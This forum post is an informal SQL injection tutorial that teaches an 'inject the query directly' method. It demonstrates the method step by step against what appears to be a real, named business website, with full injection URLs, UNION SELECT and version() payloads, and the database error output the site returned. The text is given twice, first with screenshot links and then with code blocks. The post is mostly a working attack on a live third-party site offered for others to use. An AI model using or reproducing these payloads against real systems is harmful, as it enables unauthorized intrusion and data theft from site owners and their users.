Aug 9, 2016 01:36 PM
(This post was last modified: Aug 9, 2016 03:25 PM by InjectorBoy.)
Hi EvreyBody This Is MY New Tutorial I.Q.D SQL Injection Method This Method Learned From Sir benzi So I Love To sharing With You Hope You Loved.
First I meaning by [I.Q.D] Inject The query directly .
our site that I will play with .
![[Image: Jm4EAZp.png]](https://i.imgur.com/Jm4EAZp.png)
let's see if this site injectable or not by useing Apostrophe ['] .
![[Image: hYVghHr.png]](https://i.imgur.com/hYVghHr.png)
as we see we have error .
now let's try to get column count by useing order by .
![[Image: ZJty52Z.png]](https://i.imgur.com/ZJty52Z.png)
I get error
B.T.W I trying evrey method with order by I know but not work so how to inject this hard site Now ? 😭 .
I have a brilliant idea I will contact By phone With Sir benzi .
Let's contact him Now.
![[Image: Zw0z7BG.png]](https://i.imgur.com/Zw0z7BG.png)
His phone ringing now .
![[Image: 3YxKErU.png]](https://i.imgur.com/3YxKErU.png)
InjectirBoy- hi sir benzi how are you today hope you so good.
sir benzi- hi InjectirBoy am good thx.
InjectirBoy- sir benzi can I ask you sir how I inject this hard site ?
sir benzi- aha it'a so easy Listen carefully InjectirBoy.
InjectirBoy- Ok Sir
sir benzi- this is the error right .
when we see multiple "AS" and commas, we know the injection is before "from".
the injection is inside "select" and before "from", we can use I.Q.D method ' inject the query directly '
InjectirBoy- aha you mean sir we not needed to use union select method ?
sir benzi- yse something like that so inject the query directly after id number like that .
now add Comma after number of ID like .
then adding number two after the comma that will be the column directly.
![[Image: YQwN6Pp.png]](https://i.imgur.com/YQwN6Pp.png)
now let's see the version
![[Image: lSf1aQG.png]](https://i.imgur.com/lSf1aQG.png)
InjectirBoy- wow so good sir benzi learned something new thx sir [Regards sir benzi and good Bye to now ] .
ok my friend lets learning you something different I learned of sir benzi.
when we see error like that -
the injection point is after "from" the error is showing because the injection point is after "from", probably something like that- SELECT c1,c2 FROM table_15injection WHERE ID='4883',to fix it, just fill the missing "where" and your query after that. ?
now I will learned you something new I learned from sir janus.
in the first we injected site with sir benzi in mode [before "from"] let's try to inject in mode [before "from"] too with the same error that belong to the injection when is inside "select" and before "from" but the injection with ID and using union select
sir janus say to me my solution will be by adding part of original syntax 'to add missing from part' so I can inject after it.
AS name FROM texts WHERE id=245, so we can continue with our injection code and 0 UnioN SeLEct 1-- -
![[Image: RlVKlvJ.png]](https://i.imgur.com/RlVKlvJ.png)
let's see the version.
![[Image: Y5QRsxs.png]](https://i.imgur.com/Y5QRsxs.png)
that all to today hope you learned something new like me.
Regards to sir benzi & sir janus .
First I meaning by [I.Q.D] Inject The query directly .
our site that I will play with .
PHP Code
<?php
https://www.tirol-taxi.at/index.php?lID=1
let's see if this site injectable or not by useing Apostrophe ['] .
PHP Code
<?php
https://www.tirol-taxi.at/index.php?lID=1'
as we see we have error .
PHP Code
<?php
1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AS name, subtitle_1\' AS sub, seoname_1\' AS seoname, template, content_1\' A' at line 1
now let's try to get column count by useing order by .
PHP Code
<?php
https://www.tirol-taxi.at/index.php?lID=1 order by 100-- -
I get error
PHP Code
<?php
1054: Unknown column 'title_15' in 'field list'
B.T.W I trying evrey method with order by I know but not work so how to inject this hard site Now ? 😭 .
I have a brilliant idea I will contact By phone With Sir benzi .
Let's contact him Now.
His phone ringing now .
InjectirBoy- hi sir benzi how are you today hope you so good.
sir benzi- hi InjectirBoy am good thx.
InjectirBoy- sir benzi can I ask you sir how I inject this hard site ?
sir benzi- aha it'a so easy Listen carefully InjectirBoy.
InjectirBoy- Ok Sir
sir benzi- this is the error right .
PHP Code
<?php
1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AS name, subtitle_1\' AS sub, seoname_1\' AS seoname, template, content_1\' A' at line 1
when we see multiple "AS" and commas, we know the injection is before "from".
the injection is inside "select" and before "from", we can use I.Q.D method ' inject the query directly '
InjectirBoy- aha you mean sir we not needed to use union select method ?
sir benzi- yse something like that so inject the query directly after id number like that .
PHP Code
<?php
https://www.tirol-taxi.at/index.php?lID=1
now add Comma after number of ID like .
PHP Code
<?php
https://www.tirol-taxi.at/index.php?lID=1,
then adding number two after the comma that will be the column directly.
PHP Code
<?php
https://www.tirol-taxi.at/index.php?lID=1,2
now let's see the version
PHP Code
<?php
https://www.tirol-taxi.at/index.php?lID=1,version()
InjectirBoy- wow so good sir benzi learned something new thx sir [Regards sir benzi and good Bye to now ] .
ok my friend lets learning you something different I learned of sir benzi.
when we see error like that -
PHP Code
<?php
the right syntax to use near '\' where ID='4883'' at line 1
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by 1-- where ID='4883'' at line 1"
the injection point is after "from" the error is showing because the injection point is after "from", probably something like that- SELECT c1,c2 FROM table_15injection WHERE ID='4883',to fix it, just fill the missing "where" and your query after that. ?
PHP Code
<?php
www.InjectorBoy.md/news.php?id=58' where 0 order by 99-- -
now I will learned you something new I learned from sir janus.
in the first we injected site with sir benzi in mode [before "from"] let's try to inject in mode [before "from"] too with the same error that belong to the injection when is inside "select" and before "from" but the injection with ID and using union select
sir janus say to me my solution will be by adding part of original syntax 'to add missing from part' so I can inject after it.
AS name FROM texts WHERE id=245, so we can continue with our injection code and 0 UnioN SeLEct 1-- -
PHP Code
<?php
https://www.tirol-taxi.at/index.php?lID=1 AS name FROM texts WHERE id=245 and 0 UnioN SeLEct 1-- -
let's see the version.
PHP Code
<?php
https://www.tirol-taxi.at/index.php?lID=1 AS name FROM texts WHERE id=245 and 0 UnioN SeLEct version()-- -
that all to today hope you learned something new like me.
Regards to sir benzi & sir janus .
